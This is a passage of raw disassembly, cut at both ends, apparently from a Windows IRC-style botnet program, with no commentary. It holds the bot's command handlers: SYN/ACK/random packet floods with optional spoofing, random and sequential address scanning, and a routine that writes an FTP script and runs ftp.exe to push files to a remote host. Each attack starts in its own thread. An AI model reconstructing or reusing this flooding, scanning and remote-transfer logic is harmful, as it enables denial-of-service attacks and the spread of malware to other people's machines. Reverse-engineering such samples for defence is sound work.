loc_407523 loc_406F80: ; CODE XREF: sub_401C87+52E0j push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41E710 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4109F3 jmp loc_409A64 ; --------------------------------------------------------------------------- loc_406FAE: ; CODE XREF: sub_401C87+5104j ; sub_401C87+511Bj push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41EC30 lea eax, [ebp+var_1354] push eax push offset aSyn_0 ; "syn" call sub_41F7E0 add esp, 14h test eax, eax jz short loc_407013 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_407013 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_407013 push offset unk_441FC8 jmp loc_40713A ; --------------------------------------------------------------------------- loc_407013: ; CODE XREF: sub_401C87+5352j ; sub_401C87+5369j ... push [ebp+arg_18] call sub_41E710 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_407135 push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41EC30 push edi lea eax, [ebp+var_13D4] push esi push eax call sub_41EC30 push [ebp+arg_0] call sub_41E710 mov [ebp+var_1250], eax xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41EC30 mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_4070AA mov eax, offset aNormal ; "Normal" loc_4070AA: ; CODE XREF: sub_401C87+541Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_442004 lea eax, [ebp+var_2C0] push 200h push eax call sub_41EC30 push ebx lea eax, [ebp+var_2C0] push 14h push eax call sub_40B691 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset sub_4146C8 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_40712B call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442038 jmp loc_406190 ; --------------------------------------------------------------------------- loc_407123: ; CODE XREF: sub_401C87+54AAj push 32h call ds:dword_4F534C ; Sleep loc_40712B: ; CODE XREF: sub_401C87+5489j cmp [ebp+var_123C], ebx jz short loc_407123 jmp short loc_407148 ; --------------------------------------------------------------------------- loc_407135: ; CODE XREF: sub_401C87+539Dj push offset unk_442070 loc_40713A: ; CODE XREF: sub_401C87+1FC5j ; sub_401C87+1FDBj ... lea eax, [ebp+var_2C0] loc_407140: ; CODE XREF: sub_401C87+4316j push eax call sub_41EA60 pop ecx pop ecx loc_407148: ; CODE XREF: sub_401C87+20F6j ; sub_401C87+25C3j ... cmp [ebp+var_8], ebx jnz loc_402593 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_407165: ; CODE XREF: sub_401C87+23B5j call sub_409C75 add esp, 14h jmp loc_402593 ; --------------------------------------------------------------------------- loc_407172: ; CODE XREF: sub_401C87+50BFj ; sub_401C87+50D6j ... cmp ds:dword_4E30B4, ebx jnz loc_40727D mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41E510 push edi call sub_41E710 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41E710 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41E710 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41E510 push [ebp+var_1004] mov eax, [ebp+arg_4] mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1008] push eax lea eax, [ebp+var_2C0] push [ebp+var_100C] push offset unk_4420A8 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 16h push eax call sub_40B691 add esp, 48h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset sub_413B2B push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_407270 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4420F0 jmp loc_406190 ; --------------------------------------------------------------------------- loc_407268: ; CODE XREF: sub_401C87+55EFj push 32h call ds:dword_4F534C ; Sleep loc_407270: ; CODE XREF: sub_401C87+55CEj cmp [ebp+var_FF0], ebx jz short loc_407268 jmp loc_407148 ; --------------------------------------------------------------------------- loc_40727D: ; CODE XREF: sub_401C87+54F1j push 1FFh lea eax, [ebp+var_2C0] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41E510 jmp loc_40619C ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401C87+5091j ; sub_401C87+50A8j push edi lea eax, [ebp+var_2C0] push [ebp+arg_10] push [ebp+arg_0] push offset unk_442140 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 push [ebp+arg_0] call sub_41BC70 push edi mov [ebp+arg_20], eax call sub_41BC70 mov ecx, [ebp+arg_20] push [ebp+arg_10] add ecx, eax mov [ebp+arg_20], ecx call sub_41BC70 mov ecx, [ebp+arg_20] push [ebp+arg_8] add ecx, eax mov [ebp+arg_20], ecx call sub_41BC70 add eax, [ebp+var_C] mov ecx, [ebp+arg_20] push [ebp+arg_18] lea eax, [eax+ecx+7] push eax call sub_41EBB0 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41E710 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_4073A0 loc_407329: ; CODE XREF: sub_401C87+56C6j push [ebp+arg_C] push edi push [ebp+arg_10] call sub_419229 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_407351 cmp eax, ebx jnz short loc_407370 inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_407329 jmp short loc_4073A9 ; --------------------------------------------------------------------------- loc_407351: ; CODE XREF: sub_401C87+56B7j push ebx push [ebp+var_4] push offset unk_44217C loc_40735A: ; CODE XREF: sub_401C87+572Bj push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h jmp loc_407523 ; --------------------------------------------------------------------------- loc_407370: ; CODE XREF: sub_401C87+56BBj push [ebp+arg_1C] lea eax, [ebp+var_2C0] push offset unk_4421B4 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 20h loc_4073A0: ; CODE XREF: sub_401C87+56A0j cmp [ebp+arg_1C], ebx jnz loc_407523 loc_4073A9: ; CODE XREF: sub_401C87+56C8j push ebx push [ebp+var_4] push offset unk_4421E8 jmp short loc_40735A ; --------------------------------------------------------------------------- loc_4073B4: ; CODE XREF: sub_401C87+504Cj ; sub_401C87+5063j ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41E510 push edi call sub_41E710 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41E710 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41E710 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_407419 push esi call sub_41E710 pop ecx mov [ebp+var_C70], eax jmp short loc_40741F ; --------------------------------------------------------------------------- loc_407419: ; CODE XREF: sub_401C87+5781j mov [ebp+var_C70], ebx loc_40741F: ; CODE XREF: sub_401C87+5790j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41E510 push [ebp+var_C74] mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C78] push eax lea eax, [ebp+var_2C0] push [ebp+var_C7C] push offset unk_442220 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 17h push eax call sub_40B691 add esp, 30h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset sub_413CB7 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4074C6 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442268 jmp loc_4082A3 ; --------------------------------------------------------------------------- loc_4074BE: ; CODE XREF: sub_401C87+5845j push 32h call ds:dword_4F534C ; Sleep loc_4074C6: ; CODE XREF: sub_401C87+5824j cmp [ebp+var_C60], ebx jz short loc_4074BE jmp loc_4082B2 ; --------------------------------------------------------------------------- loc_4074D3: ; CODE XREF: sub_401C87+501Ej ; sub_401C87+5035j push 0Bh call sub_40B8D3 push edi mov [ebp+arg_1C], eax call sub_41E710 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_4076CC push [ebp+arg_1C] lea eax, [ebp+var_2C0] push offset unk_4422A0 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 20h loc_407523: ; CODE XREF: sub_401C87+52F3j ; sub_401C87+56E4j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_4076C4 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_409A67 push 4 push esi call sub_417264 pop ecx test eax, eax pop ecx jnz short loc_40759B push esi push offset unk_4422E8 loc_40755A: ; CODE XREF: sub_401C87+7BD8j lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 0Ch loc_407569: ; CODE XREF: sub_401C87+7285j ; sub_401C87+7BF0j cmp [ebp+var_8], ebx jnz short loc_40758A push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_407582: ; CODE XREF: sub_401C87+6EB6j call sub_409C75 add esp, 14h loc_40758A: ; CODE XREF: sub_401C87+26D0j ; sub_401C87+26E5j ... lea eax, [ebp+var_2C0] push eax call sub_415A3C jmp loc_402213 ; --------------------------------------------------------------------------- loc_40759B: ; CODE XREF: sub_401C87+58CBj call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 pop ecx call sub_41EB70 push 9 cdq pop ecx idiv ecx push edx call sub_41EB70 push 63h cdq pop ecx idiv ecx push edx call sub_41EB70 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41EA60 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41E490 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_4076C4 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41F4E0 push [ebp+arg_24] call sub_41BCF0 lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_0 ; "-s:%s" push eax call sub_41EA60 add esp, 2Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen_0 ; "open" push ebx call ds:dword_4E2F34 push [ebp+arg_10] test eax, eax push esi jz short loc_407667 push offset unk_442358 jmp short loc_40766C ; --------------------------------------------------------------------------- loc_407667: ; CODE XREF: sub_401C87+59D7j push offset unk_442380 loc_40766C: ; CODE XREF: sub_401C87+59DEj call sub_41EA60 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407695 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_407695: ; CODE XREF: sub_401C87+59F0j lea eax, [ebp+var_2C0] push eax call sub_415A3C jmp short loc_4076AF ; --------------------------------------------------------------------------- loc_4076A3: ; CODE XREF: sub_401C87+5A3Bj lea eax, [ebp+var_2E58] push eax call sub_41F470 loc_4076AF: ; CODE XREF: sub_401C87+5A1Aj lea eax, [ebp+var_2E58] push 4 push eax call sub_417264 add esp, 0Ch test eax, eax jnz short loc_4076A3 loc_4076C4: ; CODE XREF: sub_401C87+5Bj ; sub_401C87+392j ... xor eax, eax inc eax jmp loc_409C2A ; --------------------------------------------------------------------------- loc_4076CC: ; CODE XREF: sub_401C87+5866j push [ebp+arg_10] call sub_41E710 push edi mov [ebp+var_370], eax call sub_41E710 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41E710 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_407705 push 5 pop eax mov [ebp+var_36C], eax loc_407705: ; CODE XREF: sub_401C87+5A73j push 3Ch pop ecx cmp eax, ecx jbe short loc_407712 mov [ebp+var_36C], ecx loc_407712: ; CODE XREF: sub_401C87+5A83j push [ebp+arg_18] call sub_41E710 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_407734 mov [ebp+var_368], eax loc_407734: ; CODE XREF: sub_401C87+5AA5j or [ebp+var_354], 0FFFFFFFFh cmp ds:dword_4481F0, ebx mov [ebp+arg_20], ebx jz short loc_407783 mov edi, offset dword_4481F0 loc_40774B: ; CODE XREF: sub_401C87+5ADEj push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_407769 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_40774B jmp short loc_407783 ; --------------------------------------------------------------------------- loc_407769: ; CODE XREF: sub_401C87+5AD4j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, ds:dword_4481F0[ecx] mov [ebp+var_370], ecx loc_407783: ; CODE XREF: sub_401C87+5ABDj ; sub_401C87+5AE0j cmp [ebp+var_370], ebx jnz short loc_407795 push offset unk_4423B0 jmp loc_40713A ; --------------------------------------------------------------------------- loc_407795: ; CODE XREF: sub_401C87+5B02j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_4077D0 cmp byte ptr [edi], 23h jz short loc_4077D0 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41EC30 push 78h push edi call sub_41F720 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_4078AA ; --------------------------------------------------------------------------- loc_4077D0: ; CODE XREF: sub_401C87+5B17j ; sub_401C87+5B1Cj cmp [ebp+var_8FF], bl jnz short loc_4077F2 cmp [ebp+var_8FE], bl jnz short loc_4077F2 cmp [ebp+var_8EE], bl jnz short loc_4077F2 push offset unk_4423E4 jmp loc_40713A ; --------------------------------------------------------------------------- loc_4077F2: ; CODE XREF: sub_401C87+5B4Fj ; sub_401C87+5B57j ... push 10h lea eax, [ebp+var_2D8] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D8], edi push [ebp+arg_4] call ds:dword_4E2F6C ; getsockname mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_484] push eax call sub_41E510 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_4078A4 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41F5B0 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407898 loc_407876: ; CODE XREF: sub_401C87+5C0Fj cmp eax, ebx jz short loc_407898 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41F5B0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407876 loc_407898: ; CODE XREF: sub_401C87+5BEDj ; sub_401C87+5BF1j mov [ebp+var_344], 1 jmp short loc_4078AA ; --------------------------------------------------------------------------- loc_4078A4: ; CODE XREF: sub_401C87+5BC7j mov [ebp+var_344], ebx loc_4078AA: ; CODE XREF: sub_401C87+5B44j ; sub_401C87+5C1Bj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41EC30 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4078FB loc_4078E8: ; CODE XREF: sub_401C87+5C97j push esi loc_4078E9: ; CODE XREF: sub_401C87+5C81j lea eax, [ebp+var_3F4] push edi push eax call sub_41EC30 add esp, 0Ch jmp short loc_407926 ; --------------------------------------------------------------------------- loc_4078FB: ; CODE XREF: sub_401C87+5C5Fj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_40790A cmp byte ptr [eax], 23h jnz short loc_40790A push eax jmp short loc_4078E9 ; --------------------------------------------------------------------------- loc_40790A: ; CODE XREF: sub_401C87+5C79j ; sub_401C87+5C7Ej mov esi, offset a2 ; "#2" push offset word_4E2E7E push esi call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4078E8 mov [ebp+var_3F4], bl loc_407926: ; CODE XREF: sub_401C87+5C72j cmp [ebp+var_344], ebx mov eax, offset aRandom_1 ; "Random" jnz short loc_407938 mov eax, offset aSequential_0 ; "Sequential" loc_407938: ; CODE XREF: sub_401C87+5CAAj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C0] push offset unk_442430 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40B691 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset sub_40CA91 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4079C9 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442498 jmp loc_406190 ; --------------------------------------------------------------------------- loc_4079C1: ; CODE XREF: sub_401C87+5D48j push 32h call ds:dword_4F534C ; Sleep loc_4079C9: ; CODE XREF: sub_401C87+5D27j cmp [ebp+var_340], ebx jz short loc_4079C1 jmp loc_407148 ; --------------------------------------------------------------------------- loc_4079D6: ; CODE XREF: sub_401C87+4FF0j ; sub_401C87+5007j push [ebp+arg_10] call sub_40AD91 push edi mov [ebp+var_4E0], eax call sub_41E710 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41E710 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41E710 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41E510 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_2C0] push offset unk_4424D0 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40B691 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset sub_40CEA6 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_407ACE call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442520 jmp loc_404014 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_401C87+5E4Dj push 32h call ds:dword_4F534C ; Sleep loc_407ACE: ; CODE XREF: sub_401C87+5E2Cj cmp [ebp+var_4D0], ebx jz short loc_407AC6 jmp loc_404023 ; --------------------------------------------------------------------------- loc_407ADB: ; CODE XREF: sub_401C87+4FB3j ; sub_401C87+4FCAj push [ebp+arg_10] call sub_41E710 imul eax, 234h pop ecx cmp ds:byte_455F18[eax], bl jz loc_409A67 cmp [ebp+var_C], ebx jz loc_409A67 push edi call sub_41BC70 push [ebp+arg_10] mov esi, eax call sub_41BC70 push [ebp+arg_8] add esi, eax call sub_41BC70 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41EBB0 mov esi, eax lea eax, [ebp+var_2C0] push esi push offset dword_44255C push eax call sub_41EA60 add esp, 20h cmp esi, ebx jz loc_409A67 push [ebp+arg_10] call sub_41E710 test eax, eax pop ecx jle loc_409A67 push [ebp+arg_10] call sub_41E710 cmp eax, 400h pop ecx jge loc_409A67 push ebx lea eax, [ebp+var_2C0] push ebx push eax push edi push [ebp+arg_10] call sub_41E710 imul eax, 234h pop ecx push ds:dword_455F0C[eax] call sub_409C75 push [ebp+arg_10] call sub_41E710 imul eax, 234h add esp, 18h cmp byte ptr ds:dword_455D00[eax], 73h jnz loc_409A67 push esi push [ebp+arg_10] call sub_41E710 imul eax, 234h pop ecx add eax, offset byte_455F18 push eax push edi push offset dword_442568 loc_407BCB: ; CODE XREF: sub_401C87+6046j lea eax, [ebp+var_2C0] push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 jmp loc_40421D ; --------------------------------------------------------------------------- loc_407BF5: ; CODE XREF: sub_401C87+4F85j ; sub_401C87+4F9Cj push [ebp+arg_10] call sub_41E710 imul eax, 234h pop ecx cmp ds:byte_455F18[eax], bl jz loc_409A67 cmp [ebp+var_C], ebx jz loc_409A67 push edi call sub_41BC70 push [ebp+arg_10] mov esi, eax call sub_41BC70 push [ebp+arg_8] add esi, eax call sub_41BC70 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41EBB0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409A67 push [ebp+arg_10] call sub_41E710 test eax, eax pop ecx jle loc_409A67 push [ebp+arg_10] call sub_41E710 cmp eax, 400h pop ecx jge loc_409A67 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41E710 imul eax, 234h pop ecx push ds:dword_455F0C[eax] call sub_409C75 push [ebp+arg_10] call sub_41E710 imul eax, 234h add esp, 18h cmp byte ptr ds:dword_455D00[eax], 73h jnz loc_409A67 push esi push [ebp+arg_10] call sub_41E710 imul eax, 234h pop ecx add eax, offset byte_455F18 push eax push edi push offset dword_442578 jmp loc_407BCB ; --------------------------------------------------------------------------- loc_407CD2: ; CODE XREF: sub_401C87+4F57j ; sub_401C87+4F6Ej push [ebp+arg_10] call ds:dword_4E3008 ; inet_addr push edi mov [ebp+var_680], eax call sub_41E710 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41E710 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41E510 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_2C0] push offset unk_442588 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40B691 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset sub_40CDB5 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_407DB7 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4425C4 jmp loc_404014 ; --------------------------------------------------------------------------- loc_407DAF: ; CODE XREF: sub_401C87+6136j push 32h call ds:dword_4F534C ; Sleep loc_407DB7: ; CODE XREF: sub_401C87+6115j cmp [ebp+var_670], ebx jz short loc_407DAF jmp loc_404023 ; --------------------------------------------------------------------------- loc_407DC4: ; CODE XREF: sub_401C87+4F29j ; sub_401C87+4F40j push [ebp+arg_10] call sub_41E710 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41E510 push [ebp+arg_0] call sub_41E710 push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push 80h push eax mov [ebp+var_1238], esi call sub_41EC30 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AEAD pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_4425FC push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 18h push eax call sub_40B691 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset sub_410CBF push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_407EB0 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442638 jmp loc_404014 ; --------------------------------------------------------------------------- loc_407EA8: ; CODE XREF: sub_401C87+622Fj push 32h call ds:dword_4F534C ; Sleep loc_407EB0: ; CODE XREF: sub_401C87+620Ej cmp [ebp+var_1118], ebx jz short loc_407EA8 jmp loc_404023 ; --------------------------------------------------------------------------- loc_407EBD: ; CODE XREF: sub_401C87+4EFBj ; sub_401C87+4F12j push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41E510 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41E510 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41E710 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407F16 push 10h push ebx push eax call sub_41F450 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F16: ; CODE XREF: sub_401C87+6279j mov [ebp+var_2668], ebx loc_407F1C: ; CODE XREF: sub_401C87+628Dj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407F33 push esi call sub_41E710 pop ecx mov [ebp+var_266C], eax jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F33: ; CODE XREF: sub_401C87+629Bj mov [ebp+var_266C], ebx loc_407F39: ; CODE XREF: sub_401C87+62AAj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41E510 mov eax, [ebp+var_4] push edi push [ebp+arg_10] mov [ebp+var_265C], eax mov eax, [ebp+var_8] mov [ebp+var_2660], eax lea eax, [ebp+var_2C0] push offset unk_44267C push eax call sub_41EA60 push esi lea eax, [ebp+var_2C0] push 1Dh push eax call sub_40B691 add esp, 28h mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset sub_416D68 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_407FEA call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4426A8 jmp loc_4082A3 ; --------------------------------------------------------------------------- loc_407FE2: ; CODE XREF: sub_401C87+6369j push 32h call ds:dword_4F534C ; Sleep loc_407FEA: ; CODE XREF: sub_401C87+6348j cmp [ebp+var_2658], ebx jz short loc_407FE2 jmp loc_4082B2 ; --------------------------------------------------------------------------- loc_407FF7: ; CODE XREF: sub_401C87+4ECDj ; sub_401C87+4EE4j push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41E510 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41E510 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41E510 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41E510 push [ebp+arg_0] mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_328C], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_3288], eax lea eax, [ebp+var_2C0] mov [ebp+var_3494], esi push offset unk_4426E8 push eax call sub_41EA60 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 12h push eax call sub_40B691 add esp, 0Ch mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset sub_415321 push ebx push ebx call ds:dword_4F5350 ; 